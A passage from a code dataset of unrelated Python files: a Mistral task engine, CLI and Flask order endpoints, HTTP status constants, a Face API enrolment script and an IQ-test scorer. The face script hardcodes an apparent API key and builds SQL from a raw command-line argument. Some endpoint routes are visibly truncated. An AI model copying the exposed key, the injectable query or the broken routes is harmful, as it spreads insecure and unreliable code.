self.wf_ex.workflow_id,\n 'state': state,\n 'spec': self.task_spec.to_dict(),\n 'in_context': self.ctx,\n 'published': {},\n 'runtime_context': {},\n 'project_id': self.wf_ex.project_id\n })\n\n # Add to collection explicitly so that it's in a proper\n # state within the current session.\n self.wf_ex.task_executions.append(self.task_ex)\n\n def _get_action_defaults(self):\n action_name = self.task_spec.get_action_name()\n\n if not action_name:\n return {}\n\n env = self.task_ex.in_context.get('__env', {})\n\n return env.get('__actions', {}).get(action_name, {})\n\n\nclass RegularTask(Task):\n \"\"\"Regular task.\n\n Takes care of processing regular tasks with one action.\n \"\"\"\n\n def on_action_complete(self, action_ex):\n state = action_ex.state\n # TODO(rakhmerov): Here we can define more informative messages\n # cases when action is successful and when it's not. For example,\n # in state_info we can specify the cause action.\n state_info = (None if state == states.SUCCESS\n else action_ex.output.get('result'))\n\n self.complete(state, state_info)\n\n def is_completed(self):\n return self.task_ex and states.is_completed(self.task_ex.state)\n\n def run(self):\n if not self.task_ex:\n self._run_new()\n else:\n self._run_existing()\n\n def _run_new(self):\n # NOTE(xylan): Need to think how to get rid of this weird judgment\n # to keep it more consistent with the function name.\n self.task_ex = wf_utils.find_task_execution_with_state(\n self.wf_ex,\n self.task_spec,\n states.WAITING\n )\n\n if self.task_ex:\n self.set_state(states.RUNNING, None)\n\n self.task_ex.in_context = self.ctx\n else:\n self._create_task_execution()\n\n LOG.debug(\n 'Starting task [workflow=%s, task_spec=%s, init_state=%s]' %\n (self.wf_ex.name, self.task_spec, self.task_ex.state)\n )\n\n self._before_task_start()\n\n # Policies could possibly change task state.\n if self.task_ex.state != states.RUNNING:\n return\n\n self._schedule_actions()\n\n def _run_existing(self):\n if self.waiting:\n return\n\n # Explicitly change task state to RUNNING.\n # Throw exception if the existing task already succeeded.\n if self.task_ex.state == states.SUCCESS:\n raise exc.MistralError(\n 'Rerunning succeeded tasks is not supported.'\n )\n\n self.set_state(states.RUNNING, None, processed=False)\n\n self._reset_actions()\n\n self._schedule_actions()\n\n def _reset_actions(self):\n \"\"\"Resets task state.\n\n Depending on task type this method may reset task state. For example,\n delete all task actions etc.\n \"\"\"\n\n # Reset state of processed task and related action executions.\n if self.reset_flag:\n action_exs = self.task_ex.executions\n else:\n action_exs = db_api.get_action_executions(\n task_execution_id=self.task_ex.id,\n state=states.ERROR,\n accepted=True\n )\n\n for action_ex in action_exs:\n action_ex.accepted = False\n\n def _schedule_actions(self):\n # Regular task schedules just one action.\n input_dict = self._get_action_input()\n target = self._get_target(input_dict)\n\n action = self._build_action()\n\n action.validate_input(input_dict)\n\n action.schedule(input_dict, target)\n\n def _get_target(self, input_dict):\n return expr.evaluate_recursively(\n self.task_spec.get_target(),\n utils.merge_dicts(\n copy.deepcopy(input_dict),\n copy.deepcopy(self.ctx)\n )\n )\n\n def _get_action_input(self, ctx=None):\n ctx = ctx or self.ctx\n\n input_dict = expr.evaluate_recursively(self.task_spec.get_input(), ctx)\n\n return utils.merge_dicts(\n input_dict,\n self._get_action_defaults(),\n overwrite=False\n )\n\n def _build_action(self):\n action_name = self.task_spec.get_action_name()\n wf_name = self.task_spec.get_workflow_name()\n\n if wf_name:\n return actions.WorkflowAction(wf_name, task_ex=self.task_ex)\n\n if not action_name:\n action_name = 'std.noop'\n\n action_def = actions.resolve_action_definition(\n action_name,\n self.wf_ex.name,\n self.wf_spec.get_name()\n )\n\n if action_def.spec:\n return actions.AdHocAction(action_def, task_ex=self.task_ex)\n\n return actions.PythonAction(action_def, task_ex=self.task_ex)\n\n\nclass WithItemsTask(RegularTask):\n \"\"\"With-items task.\n\n Takes care of processing \"with-items\" tasks.\n \"\"\"\n\n def on_action_complete(self, action_ex):\n state = action_ex.state\n # TODO(rakhmerov): Here we can define more informative messages\n # cases when action is successful and when it's not. For example,\n # in state_info we can specify the cause action.\n state_info = (None if state == states.SUCCESS\n else action_ex.output.get('result'))\n\n with_items.increase_capacity(self.task_ex)\n\n if with_items.is_completed(self.task_ex):\n self.complete(\n with_items.get_final_state(self.task_ex),\n state_info\n )\n\n return\n\n if (with_items.has_more_iterations(self.task_ex)\n and with_items.get_concurrency(self.task_ex)):\n self._schedule_actions()\n\n def _schedule_actions(self):\n input_dicts = self._get_with_items_input()\n\n if not input_dicts:\n self.complete(states.SUCCESS)\n\n return\n\n for idx, input_dict in input_dicts:\n target = self._get_target(input_dict)\n\n action = self._build_action()\n\n action.schedule(input_dict, target, index=idx)\n\n def _get_with_items_input(self):\n \"\"\"Calculate input array for separating each action input.\n\n Example:\n DSL:\n with_items:\n - itemX in <% $.arrayI %>\n - itemY in <% $.arrayJ %>\n\n Assume arrayI = [1, 2], arrayJ = ['a', 'b'].\n with_items_input = {\n \"itemX\": [1, 2],\n \"itemY\": ['a', 'b']\n }\n\n Then we get separated input:\n inputs_per_item = [\n {'itemX': 1, 'itemY': 'a'},\n {'itemX': 2, 'itemY': 'b'}\n ]\n\n :return: the list of tuples containing indexes\n and the corresponding input dict.\n \"\"\"\n with_items_inputs = expr.evaluate_recursively(\n self.task_spec.get_with_items(),\n self.ctx\n )\n\n with_items.validate_input(with_items_inputs)\n\n inputs_per_item = []\n\n for key, value in with_items_inputs.items():\n for index, item in enumerate(value):\n iter_context = {key: item}\n\n if index >= len(inputs_per_item):\n inputs_per_item.append(iter_context)\n else:\n inputs_per_item[index].update(iter_context)\n\n action_inputs = []\n\n for item_input in inputs_per_item:\n new_ctx = utils.merge_dicts(item_input, self.ctx)\n\n action_inputs.append(self._get_action_input(new_ctx))\n\n with_items.prepare_runtime_context(\n self.task_ex,\n self.task_spec,\n action_inputs\n )\n\n indices = with_items.get_indices_for_loop(self.task_ex)\n\n with_items.decrease_capacity(self.task_ex, len(indices))\n\n if indices:\n current_inputs = operator.itemgetter(*indices)(action_inputs)\n\n return zip(\n indices,\n current_inputs if isinstance(current_inputs, tuple)\n else [current_inputs]\n )\n\n return []\n","repo_name":"ISCAS-VDI/mistral-base","sub_path":"mistral/engine/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":13141,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"14671877831","text":"import sys\n\nfilename = sys.argv[1]\nif len(sys.argv) == 3:\n outfilename = sys.argv[2]\nelse:\n outfilename = sys.argv[1]\n# filename = \"Companies.txt\"\n# outfilename = \"CompanyList.txt\"\n\nlines_seen = set()\noutput = open(outfilename, 'w')\nfor line in open(filename, 'r'):\n if line not in lines_seen:\n output.write(line)\n lines_seen.add(line)\noutput.close()","repo_name":"Chibbluffy/TwitterKeywordPerceptionAnalysis","sub_path":"removeDupeLines.py","file_name":"removeDupeLines.py","file_ext":"py","file_size_in_byte":373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"20206039220","text":"import click\nimport re\nfrom models import Visitor, session\n\n# Define a regular expression pattern for email validation\nemail_pattern = r'^[\\w\\.-]+@[\\w\\.-]+\\.\\w+$'\n\n@click.group()\ndef visitor():\n \"\"\"Manage Visitors\"\"\"\n\n@visitor.command()\n@click.option('--name', prompt='Enter name', help='Visitor name')\n@click.option('--email', prompt='Enter email', help='Visitor email')\ndef add(name, email):\n \"\"\"Add a visitor.\"\"\"\n if not re.match(email_pattern, email):\n click.echo(\"Invalid email format. Please enter a valid email address.\")\n return\n\n visitor = Visitor(full_name=name, email=email)\n session.add(visitor)\n session.commit()\n click.echo(f\"{name} has been added.\")\n\n# ... rest of your code ...\n\n\n@visitor.command()\ndef list():\n \"\"\"List all visitors.\"\"\"\n visitors = session.query(Visitor).all()\n click.echo(\"Visitors:\")\n for visitor in visitors:\n click.echo(f\"ID: {visitor.visitor_id}, Name: {visitor.full_name}, Email: {visitor.email}\")\n\n\n@visitor.command()\n@click.argument('visitor_id', type=int)\n@click.option('--name', prompt='Enter new name', help='New visitor name')\n@click.option('--email', prompt='Enter new email', help='New visitor email')\ndef update(visitor_id, name, email):\n \"\"\"Update visitor information by ID.\"\"\"\n visitor = session.query(Visitor).filter_by(visitor_id=visitor_id).first()\n if visitor:\n visitor.full_name = name\n visitor.email = email\n session.commit()\n click.echo(f\"Visitor with ID {visitor_id} updated.\")\n else:\n click.echo(f\"Visitor with ID {visitor_id} not found.\")\n\n\n@visitor.command()\n@click.argument('visitor_id', type=int)\ndef delete(visitor_id):\n \"\"\"Delete a visitor by ID.\"\"\"\n visitor = session.query(Visitor).filter_by(visitor_id=visitor_id).first()\n if visitor:\n session.delete(visitor)\n session.commit()\n click.echo(f\"Visitor with ID {visitor_id} deleted.\")\n \n else:\n click.echo(f\"Visitor with ID {visitor_id} not found.\")\n\n","repo_name":"muthuieric/VMS-CLI","sub_path":"vms/visitor.py","file_name":"visitor.py","file_ext":"py","file_size_in_byte":2014,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"28072131747","text":"from flask_restx import Namespace, Resource\nfrom http import HTTPStatus\n\n\nfrom .dto import (\n # gcart_parser,\n order_parser,\n pay_parser,\n food_order_parser,\n food_pay_parser,\n return_parser,\n order_cancel_parser,\n rev_parser,\n ticket_parser,\n #payment_parser,\n)\nfrom .functions import (\n # add_cart,\n customer_ticket,\n order_grocery_create,\n pay_grocery_order,\n order_food_create,\n pay_food_order,\n return_order,\n cancel_order,\n grocery_orders,\n grocery_order_details,\n review_create,\n customer_ticket,\n save_card,\n return_list,\n return_details,\n food_orders,\n food_order_details,\n #get_available_coupons,\n get_ticket_categories,\n get_coupon_details,\n changestate\n)\n\norder_ns = Namespace(name=\"order\", validate=True)\n\n##### Grocery Qty ########\n# check QTY\n'''\n@order_ns.route(\"/grocery/cart/\", endpoint=\"add_cart\")\nclass GCart(Resource):\n @order_ns.doc(security=\"Bearer\")\n @order_ns.expect(gcart_parser)\n @order_ns.response(int(HTTPStatus.OK), \"Added to cart.\")\n @order_ns.response(int(HTTPStatus.BAD_REQUEST), \"Validation error.\")\n def post(self, seller_id):\n\n \"\"\"Post param to check Grocery Item QTY when adding to Cart\n Demo pass values\n { Seller_id:1,,Grocery_id:'1', quantity:float }\n\n Intended Result\n {\n status:success/fail,\n message:added to cart / quantity not available /seller invalid,\n availble_quantity=stock availability float,\n price=float,\n name=product name string\n }\n \"\"\"\n data = gcart_parser.parse_args()\n return add_cart(seller_id, data)\n\n'''\n\n# Place Order\n@order_ns.route(\"/grocery/create\", endpoint=\"add_order\")\nclass Order(Resource):\n @order_ns.doc(security=\"Bearer\")\n @order_ns.expect(order_parser)\n @order_ns.response(int(HTTPStatus.OK), \"Added to order.\")\n @order_ns.response(int(HTTPStatus.BAD_REQUEST), \"Validation error.\")\n def post(self):\n\n \"\"\"Add Grocery order\n Demo pass values\n {\n stringDic: \"{'product_id':{'product_total_price':'qty'},'product_id':{'product_total_price':'qty'}}\" ,\n \"gross\": 200,\n \"delivery_fee\": 75,\n \"net\": 275,\n \"coupon_id\": 1\n \"is_mobile\":True of False,\n \"seller_id\":1,\n \"longitude\":80,\n \"latitude\":7,\n \"pay_method\":\"p\",p=payhere\n\n\n }\n\n Intended Result\n {\n status:success/fail,\n message:added to cart / already in cart/ quantity not available /seller invalid/place order,\n availble_quantity=stock availability float,\n\n }\n \"\"\"\n data = order_parser.parse_args()\n return order_grocery_create(data)\n\n\n# Payment Grocery\n@order_ns.route(\"/grocery/payment\", endpoint=\"pay_confirm\")\nclass Pay(Resource):\n @order_ns.doc(security=\"Bearer\")\n @order_ns.expect(pay_parser)\n @order_ns.response(int(HTTPStatus.OK), \"paid\")\n @order_ns.response(int(HTTPStatus.BAD_REQUEST), \"Validation error.\")\n def post(self):\n\n \"\"\"Order Grocery payment\n Demo pass values\n {\n Seller_id:1,\n order_id:1,\n pay_method:\"s\": \"Cash\", \"c\": \"Card\", \"o\": \"COD\",\"r\":\"credit\",\n payment_confirm:True/False,\n content:\"{'receipt_no': '990761', 'type': 'visa', 'holder_name':'',card_no:'4444','expire','11/24','cvv':'600'}\"\n\n }\n\n Intended Result\n {\n status:success/fail,\n message:payment added,\n\n }\n \"\"\"\n data = pay_parser.parse_args()\n return pay_grocery_order(data)\n\n\n##### Food ########\n# Place Food Order\n@order_ns.route(\"/food/create\", endpoint=\"food_order\")\nclass FoodOrder(Resource):\n @order_ns.doc(security=\"Bearer\")\n @order_ns.expect(food_order_parser)\n @order_ns.response(int(HTTPStatus.OK), \"Added to food order.\")\n @order_ns.response(int(HTTPStatus.BAD_REQUEST), \"Validation error.\")\n def post(self):\n\n \"\"\"Add Food order\n Demo pass values\n {\n \"Seller_id\":1,\n \"food\": \" {'food_id':{'food_total_price':'qty'},'food_id':{'food_total_price':'qty'}}\" ,\n \"size\": \"{'size_term_id':{'food_id':'food_size_total_price'},'size_term_id':{'food_id':'food_size_total_price'}}\", or \"\"\n \"addon\": \"{'addon_term_id':{'food_id':'qty'},'addon_term_id':{'food_id':'qty'}}\", or \"\"\n \"gross\": 200,\n \"delivery_fee\": 75,\n \"net\": 275,\n \"coupon_id\": 1,\n \"longitude\":80,\n \"latitude\":7,\n\n\n }\n\n Intended Result\n {\n status:success/fail,\n message:place order/failed to load,\n availble_quantity=stock availability float,\n\n }\n \"\"\"\n data = food_order_parser.parse_args()\n return order_food_create(data)\n\n\n# Payment Food\n@order_ns.route(\"/food/payment\", endpoint=\"food_pay_confirm\")\nclass FoodPay(Resource):\n @order_ns.doc(security=\"Bearer\")\n @order_ns.expect(food_pay_parser)\n @order_ns.response(int(HTTPStatus.OK), \"paid\")\n @order_ns.response(int(HTTPStatus.BAD_REQUEST), \"Validation error.\")\n def post(self):\n\n \"\"\"Food payment\n Demo pass values\n {\n order_id:1,\n pay_method:\"s\": \"Cash\", \"c\": \"Card\", \"o\": \"COD\",\"r\":\"credit\",\n payment_confirm:True/False,\n content:{\"receipt_no\": \"990761\", \"type\": \"visa\", \"holder_name\":\"\",card_no:\"4444\",\"expire\",\"11/24\",\"cvv\":\"600\"}\n }\n\n Intended Result\n {\n status:success/fail,\n message:payment added,\n\n }\n \"\"\"\n data = food_pay_parser.parse_args()\n return pay_food_order(data)\n\n\n# Order Return\n@order_ns.route(\"/grocery/return/create\", endpoint=\"order_return\")\nclass OrderReturn(Resource):\n @order_ns.doc(security=\"Bearer\")\n @order_ns.expect(return_parser)\n @order_ns.response(int(HTTPStatus.OK), \"Order return\")\n @order_ns.response(int(HTTPStatus.BAD_REQUEST), \"Validation error.\")\n def post(self):\n\n \"\"\"Post param to return Order\n Demo pass values\n {\n order_id:1,\n product_data: \"{'1':{'product_id':'qty'},'2':{'product_id':'qty'},'3':{'product_id':'qty'}}\" ,\n return_note:adasdsad\n\n }\n\n Intended Result\n {\n status:success/fail,\n message:Order Return,\n\n }\n \"\"\"\n data = return_parser.parse_args()\n return return_order(data)\n\n\n# Order cancel\n@order_ns.route(\"/cancel\", endpoint=\"order_cancel\")\nclass OrderCancel(Resource):\n @order_ns.doc(security=\"Bearer\")\n @order_ns.expect(order_cancel_parser)\n @order_ns.response(int(HTTPStatus.OK), \"Order Cancel\")\n @order_ns.response(int(HTTPStatus.BAD_REQUEST), \"Validation error.\")\n def post(self):\n\n \"\"\"Cancel Order\n Demo pass values\n {\n order_id:1,\n type:f or g\n }\n\n Intended Result\n {\n status:success/fail,\n message:Order Return,\n\n }\n \"\"\"\n data = order_cancel_parser.parse_args()\n return cancel_order(data)\n\n\n# all return orders\n@order_ns.route(\"/grocery/return/all\", endpoint=\"return_list\")\nclass ReturnOrders(Resource):\n @order_ns.doc(security=\"Bearer\")\n @order_ns.response(int(HTTPStatus.OK), \"All return Orders\")\n @order_ns.response(int(HTTPStatus.BAD_REQUEST), \"Validation error.\")\n def get(self):\n \"\"\"Customer All Return Orders\"\"\"\n\n return return_list()\n\n\n# return product details\n@order_ns.route(\"/grocery/return/\", endpoint=\"return_product\")\nclass ReturnDetails(Resource):\n @order_ns.doc(security=\"Bearer\")\n @order_ns.response(int(HTTPStatus.OK), \"All return Orders\")\n @order_ns.response(int(HTTPStatus.BAD_REQUEST), \"Validation error.\")\n def get(self, return_id):\n \"\"\"Return Per Product details\"\"\"\n\n return return_details(return_id)\n\n\n# See all orders\n@order_ns.route(\"/grocery/all\", endpoint=\"grocery_orders\")\nclass SeeGrocery(Resource):\n @order_ns.doc(security=\"Bearer\")\n @order_ns.response(int(HTTPStatus.OK), \"All Orders\")\n @order_ns.response(int(HTTPStatus.BAD_REQUEST), \"Validation error.\")\n def get(self):\n \"\"\"All Grocery Order Details\"\"\"\n\n return grocery_orders()\n\n\n# See all orders\n@order_ns.route(\"/food/all\", endpoint=\"food_orders\")\nclass SeeFood(Resource):\n @order_ns.doc(security=\"Bearer\")\n @order_ns.response(int(HTTPStatus.OK), \"All Orders\")\n @order_ns.response(int(HTTPStatus.BAD_REQUEST), \"Validation error.\")\n def get(self):\n \"\"\"All Food Order Details\"\"\"\n\n return food_orders()\n\n\n# See one order details\n@order_ns.route(\"/grocery/\", endpoint=\"order_details\")\nclass GroceryOrderDetails(Resource):\n @order_ns.doc(security=\"Bearer\")\n @order_ns.response(int(HTTPStatus.OK), \"Order Status\")\n @order_ns.response(int(HTTPStatus.BAD_REQUEST), \"Validation error.\")\n def get(self, order_id):\n \"\"\"One Groery Order Data\"\"\"\n\n return grocery_order_details(order_id)\n\n\n# See one order details\n@order_ns.route(\"/food/\", endpoint=\"food_order_details\")\nclass FoodOrderDetails(Resource):\n @order_ns.doc(security=\"Bearer\")\n @order_ns.response(int(HTTPStatus.OK), \"Order Status\")\n @order_ns.response(int(HTTPStatus.BAD_REQUEST), \"Validation error.\")\n def get(self, order_id):\n \"\"\"One Food Order Data\"\"\"\n\n return food_order_details(order_id)\n\n\n@order_ns.route(\"/review/\", endpoint=\"deliverer_review\")\nclass Review(Resource):\n \"\"\"Handles HTTP requests to URL: /api/v1/order/review/\", endpoint=\"coupon_details\")\nclass CouponDetails(Resource):\n @order_ns.doc(security=\"Bearer\")\n @order_ns.response(int(HTTPStatus.OK), \"Order Status\")\n @order_ns.response(int(HTTPStatus.BAD_REQUEST), \"Validation error.\")\n def get(self, coupon_ref_no):\n \"\"\"Coupon Details\"\"\"\n\n return get_coupon_details(coupon_ref_no)\n\n\n# See one order details\n@order_ns.route(\"/ticket_categories\", endpoint=\"ticket_categories\")\nclass TicketCategories(Resource):\n @order_ns.doc(security=\"Bearer\")\n @order_ns.response(int(HTTPStatus.OK), \"Order Status\")\n @order_ns.response(int(HTTPStatus.BAD_REQUEST), \"Validation error.\")\n def get(self):\n \"\"\"All ticket categories\"\"\"\n\n return get_ticket_categories()\n\n#change state of order\n@order_ns.route(\"/received/\", endpoint=\"received_state\")\nclass ChangeState(Resource):\n @order_ns.doc(security=\"Bearer\")\n @order_ns.response(int(HTTPStatus.OK), \"Order Status\")\n @order_ns.response(int(HTTPStatus.BAD_REQUEST), \"Validation error.\")\n\n def put(self,order_id):\n return changestate(order_id)\n","repo_name":"rajitha109/customer_api","sub_path":"application/api/order/endpoints.py","file_name":"endpoints.py","file_ext":"py","file_size_in_byte":13334,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"26522056995","text":"# -*- coding: utf-8 -*-\n\"\"\"\nDescriptive HTTP status codes, for code readability.\nhttps://api.evotor.ru/docs/#tag/Vebhuki-zaprosy\n\"\"\"\nfrom __future__ import unicode_literals\n\n\ndef is_informational(code):\n return 100 <= code <= 199\n\n\ndef is_success(code):\n return 200 <= code <= 299\n\n\ndef is_redirect(code):\n return 300 <= code <= 399\n\n\ndef is_client_error(code):\n return 400 <= code <= 499\n\n\ndef is_server_error(code):\n return 500 <= code <= 599\n\n\nHTTP_100_CONTINUE = 100\nHTTP_101_SWITCHING_PROTOCOLS = 101\nHTTP_200_OK = 200\nHTTP_201_CREATED = 201\nHTTP_202_ACCEPTED = 202\nHTTP_203_NON_AUTHORITATIVE_INFORMATION = 203\nHTTP_204_NO_CONTENT = 204\nHTTP_205_RESET_CONTENT = 205\nHTTP_206_PARTIAL_CONTENT = 206\nHTTP_207_MULTI_STATUS = 207\nHTTP_300_MULTIPLE_CHOICES = 300\nHTTP_301_MOVED_PERMANENTLY = 301\nHTTP_302_FOUND = 302\nHTTP_303_SEE_OTHER = 303\nHTTP_304_NOT_MODIFIED = 304\nHTTP_305_USE_PROXY = 305\nHTTP_306_RESERVED = 306\nHTTP_307_TEMPORARY_REDIRECT = 307\nHTTP_400_BAD_REQUEST = 400\nHTTP_401_UNAUTHORIZED = 401\nHTTP_402_PAYMENT_REQUIRED = 402\nHTTP_403_FORBIDDEN = 403\nHTTP_404_NOT_FOUND = 404\nHTTP_405_METHOD_NOT_ALLOWED = 405\nHTTP_406_NOT_ACCEPTABLE = 406\nHTTP_407_PROXY_AUTHENTICATION_REQUIRED = 407\nHTTP_408_REQUEST_TIMEOUT = 408\nHTTP_409_CONFLICT = 409\nHTTP_410_GONE = 410\nHTTP_411_LENGTH_REQUIRED = 411\nHTTP_412_PRECONDITION_FAILED = 412\nHTTP_413_REQUEST_ENTITY_TOO_LARGE = 413\nHTTP_414_REQUEST_URI_TOO_LONG = 414\nHTTP_415_UNSUPPORTED_MEDIA_TYPE = 415\nHTTP_416_REQUESTED_RANGE_NOT_SATISFIABLE = 416\nHTTP_417_EXPECTATION_FAILED = 417\nHTTP_422_UNPROCESSABLE_ENTITY = 422\nHTTP_423_LOCKED = 423\nHTTP_424_FAILED_DEPENDENCY = 424\nHTTP_428_PRECONDITION_REQUIRED = 428\nHTTP_429_TOO_MANY_REQUESTS = 429\nHTTP_431_REQUEST_HEADER_FIELDS_TOO_LARGE = 431\nHTTP_451_UNAVAILABLE_FOR_LEGAL_REASONS = 451\nHTTP_500_INTERNAL_SERVER_ERROR = 500\nHTTP_501_NOT_IMPLEMENTED = 501\nHTTP_502_BAD_GATEWAY = 502\nHTTP_503_SERVICE_UNAVAILABLE = 503\nHTTP_504_GATEWAY_TIMEOUT = 504\nHTTP_505_HTTP_VERSION_NOT_SUPPORTED = 505\nHTTP_507_INSUFFICIENT_STORAGE = 507\nHTTP_511_NETWORK_AUTHENTICATION_REQUIRED = 511\n\n\n# Коды ошибок в облаке Эвотор\n# 1001/401 - неверный токен облака Эвотор\nERROR_CODE_1001_WRONG_TOKEN = 1001\n# 1002/401 - неверный токен пользователя\nERROR_CODE_1002_WRONG_USER_TOKEN = 1002\n# 1003/401 - истёк срок действия токена пользователя\nERROR_CODE_1003_USER_TOKEN_EXPIRED = 1003\n# 1004/402 - Наш сервис возвращает этот код,\n# если у пользователя приложения истекла подписка в нашем сервисе.\nERROR_CODE_1004_PAYMENT_REQUIRED = 1004\n# 1005/405 Терминал не активен в рамках текущей подписки. Активируйте терминал и попробуйте ещё раз.\nERROR_CODE_1005_NOT_ALLOWED = 1005\n# 1006/401 - Пользователь указал неверные данные при авторизации в стороннем сервисе\nERROR_CODE_1006_WRONG_DATA = 1006\n# 1007/405 - Лицензированных терминалов недостаточно для активации в рамках тарифа.\nERROR_CODE_1007_LICENSE_OVERHEAD = 1007\n\n# 2001/400 - cинтаксическая ошибка в запросе\nERROR_CODE_2001_SYNTAX_ERROR = 2001\n# 2002/400 - в запросе отсутствует обязательное поле\nERROR_CODE_2002_FIELDS_ERROR = 2002\n# 2003/400 - параметры запроса содержат недопустимые значения.\nERROR_CODE_2003_REQUEST_ERROR = 2003\n# 2004/409 - в стороннем сервисе userUuid ассоциирован с другой учётной записью пользователя Эвотора\nERROR_CODE_2004_USER_EXIST = 2004\n# 2005/409 - В стороннем сервисе уже зарегистрирована учётная запись с указанными данными\nERROR_CODE_2005_USER_EXIST = 2005\n\n# 3000/500 - Ошибка в базе данных\nERROR_CODE_3000_DB_ERROR = 3000\n# 3000/500 - Запрашиваемый ресурс не найден(ошибка авторизационных данных)\nERROR_CODE_4000_NOT_FOUND = 4000\n\n\nerrors = {\n ERROR_CODE_1001_WRONG_TOKEN: HTTP_401_UNAUTHORIZED,\n ERROR_CODE_1002_WRONG_USER_TOKEN: HTTP_401_UNAUTHORIZED,\n ERROR_CODE_1003_USER_TOKEN_EXPIRED: HTTP_401_UNAUTHORIZED,\n ERROR_CODE_1004_PAYMENT_REQUIRED: HTTP_402_PAYMENT_REQUIRED,\n ERROR_CODE_1005_NOT_ALLOWED: HTTP_405_METHOD_NOT_ALLOWED,\n ERROR_CODE_1006_WRONG_DATA: HTTP_401_UNAUTHORIZED,\n ERROR_CODE_1007_LICENSE_OVERHEAD: HTTP_405_METHOD_NOT_ALLOWED,\n ERROR_CODE_2001_SYNTAX_ERROR: HTTP_400_BAD_REQUEST,\n ERROR_CODE_2002_FIELDS_ERROR: HTTP_400_BAD_REQUEST,\n ERROR_CODE_2003_REQUEST_ERROR: HTTP_400_BAD_REQUEST,\n ERROR_CODE_2004_USER_EXIST: HTTP_409_CONFLICT,\n ERROR_CODE_2005_USER_EXIST: HTTP_409_CONFLICT,\n ERROR_CODE_3000_DB_ERROR: HTTP_500_INTERNAL_SERVER_ERROR,\n ERROR_CODE_4000_NOT_FOUND: HTTP_404_NOT_FOUND,\n}\n\n\n","repo_name":"Shatki/backend-evo","sub_path":"api/status.py","file_name":"status.py","file_ext":"py","file_size_in_byte":5141,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"18031214566","text":"import sys\nimport os, time\nimport cognitive_face as CF\nfrom global_variables import personGroupId\nimport urllib\nimport sqlite3\nimport os.path\n\n\n\nKey = '63032336225341b39b2ac1728b7864b7'\nCF.Key.set(Key)\nBASE_URL = 'https://westcentralus.api.cognitive.microsoft.com/face/v1.0' # Replace with your regional Base URL\nCF.BaseUrl.set(BASE_URL)\ndef get_person_id():\n\tperson_id = ''\n\textractId = str(sys.argv[1])[-3:]\n #print(extractId)\n\tconnect = sqlite3.connect(r\"D:/cam/Face-DataBase\")\n\tc = connect.cursor()\n\tcmd = \"SELECT * FROM Students WHERE ID = \" +extractId\n\tc.execute(cmd)\n\trow = c.fetchone()\n\tperson_id = row[3]\n\tconnect.close()\n\treturn person_id\n\nif len(sys.argv)!= 1:\n currentDir = os.path.dirname(os.path.abspath(__file__))\n imageFolder =\"D:/cam/dataset/\" + sys.argv[1]\n person_id = get_person_id()\n for filename in os.listdir(imageFolder):\n if filename.endswith(\".jpg\"):\n \tprint(filename)\n \timgurl =imageFolder+\"/\"+filename\n \tres = CF.face.detect(imgurl)\n \tif len(res) != 1:\n \t\tprint(\"No face detected in image\")\n \telse:\n \t\tres = CF.person.add_face(imgurl, personGroupId, person_id)\n \t\tprint(res)\t\n \ttime.sleep(6)","repo_name":"apsreebalaji/TCS-humAIn-FaceRecognition","sub_path":"add_person_faces.py","file_name":"add_person_faces.py","file_ext":"py","file_size_in_byte":1205,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"37885450901","text":"import copy\nfrom database import *\n\n\nclass Raven_test():\n def __init(self):\n pass\n\n def calculate_answer(self, user_id, info_i):\n user = db.session.query(User).filter_by(user_id=user_id).first()\n testing = db.session.query(Raventesting).filter_by(user_id=user_id).first()\n answers = list(map(lambda x: int(x),\n list(testing.answers.replace('[', '').replace(']', '').replace(',', '').replace(' ', ''))))\n percent_iq = int(answers.count(1) / 60 * 100) # проценты правильных ответов\n estimated_iq = None # IQ\n # находим по таблице приблизительных значений\n if 8 <= int(str(user.age)) <= 13:\n estimated_iq = info_i[\"tests\"][\"raventest\"][\"raven_diagnostics\"][\"table\"][str(user.age)][\n answers.count(1)]\n elif 14 <= int(str(user.age)) <= 30:\n estimated_iq = info_i[\"tests\"][\"raventest\"][\"raven_diagnostics\"][\"table\"]['14-30'][answers.count(1)]\n else:\n a = info_i[\"tests\"][\"raventest\"][\"raven_diagnostics\"][\"table\"]['14-30'][answers.count(1)]\n if a != '0':\n if 30 <= int(str(user.age)) <= 35:\n estimated_iq = (int(a) / 97) * 100\n elif 36 <= int(str(user.age)) <= 40:\n estimated_iq = (int(a) / 93) * 100\n\n elif 41 <= int(str(user.age)) <= 50:\n estimated_iq = (int(a) / 88) * 100\n elif 51 <= int(str(user.age)) <= 55:\n estimated_iq = (int(a) / 82) * 100\n\n elif 51 <= int(str(user.age)) <= 55:\n estimated_iq = (int(a) / 76) * 100\n\n else:\n estimated_iq = (int(a) / 70) * 100\n else:\n estimated_iq = 0\n if estimated_iq == 0:\n return (percent_iq, estimated_iq)\n else:\n return (percent_iq, int(estimated_iq))\n\n def get_info(self, percent):\n percent = int(percent)\n text = None\n if percent <= 5:\n text = 'дефектная интеллектуальная способность'\n elif 5 <= percent <= 24:\n text = 'интеллект ниже среднего.'\n elif 25 <= percent <= 74:\n text = 'средник интеллект'\n elif 75 <= percent <= 95:\n text = 'незаурядный интеллект'\n elif 95 <= percent:\n text = 'особо высокоразвитый интеллект'\n\n return text\n\n def check_true(self, attempt, answer, user_id, info_i):\n # проверка на правильность ответа\n testing = db.session.query(Raventesting).filter_by(user_id=user_id).first()\n answers = list(\n map(lambda x: int(x),\n list(testing.answers.replace('[', '').replace(']', '').replace(',', '').replace(' ', ''))))\n if answer == info_i[\"tests\"][\"raventest\"][\"answers_info\"][attempt - 1][1]:\n answers[attempt - 1] = 1\n testing.answers = str(answers)\n testing.previous_answer = True\n db.session.commit()\n\n return True\n else:\n testing.previous_answer = False\n db.session.commit()\n return False\n\n def end_test(self, res, user_id, info_i):\n testing = db.session.query(Raventesting).filter_by(user_id=user_id).first()\n user = db.session.query(User).filter_by(user_id=user_id).first()\n results = db.session.query(Ravenresults).filter_by(user_id=user_id).first()\n\n testing.start_test = False\n results.percent, results.iq = self.calculate_answer(user_id,\n info_i)\n db.session.commit()\n correctly = ''\n 